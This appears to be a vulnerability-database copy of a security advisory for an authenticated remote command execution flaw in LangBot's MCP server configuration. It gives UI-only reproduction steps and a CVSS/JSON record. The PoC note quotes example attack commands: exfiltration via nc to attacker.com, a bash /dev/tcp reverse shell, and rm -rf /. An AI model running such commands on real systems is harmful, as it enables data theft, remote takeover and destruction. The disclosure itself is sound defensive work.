GHSA-3PVH-63GF-J9MW

Vulnerability from github – Published: 2026-07-15 17:39 – Updated: 2026-07-15 17:39
VLAI
Summary
LangBot: Authenticated RCE Via MCP Configuration
Details

Summary

Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.

Details

The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.

Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.

PoC

  1. Open the LangBot server
  2. Navigate to Extensions
  3. Open the "MCP" tab and press "Add"
  4. Choose an STDIO server configuration
  5. Add any arbitrary command with arguments Screenshot 2026-01-19 at 15 08 43

Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.

Impact

This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Video POC

https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea

Resources

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langbot"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T17:39:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an \"STDIO\" MCP with an arbitrary command.\n\n### Details\nThe repository uses StdioServerParameters which is based on Anthropic\u0027s modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.\n\nSince the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.\n\n### PoC\n1. Open the LangBot server\n2. Navigate to Extensions\n3. Open the \"MCP\" tab and press \"Add\"\n4. Choose an STDIO server configuration\n5. Add any arbitrary command with arguments\n\u003cimg width=\"480\" height=\"538\" alt=\"Screenshot 2026-01-19 at 15 08 43\" src=\"https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd\" /\u003e\n\nNote that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261), potentially removing the whole machine\u0027s data (rm -rf / --no-preserve-root), and many more.\n\n### Impact\nThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement).\nCWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027).\n\n### Video POC\nhttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea\n\n### Resources\nhttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/\nhttps://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/",
  "id": "GHSA-3pvh-63gf-j9mw",
  "modified": "2026-07-15T17:39:34Z",
  "published": "2026-07-15T17:39:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langbot-app/LangBot"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LangBot: Authenticated RCE Via MCP Configuration"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…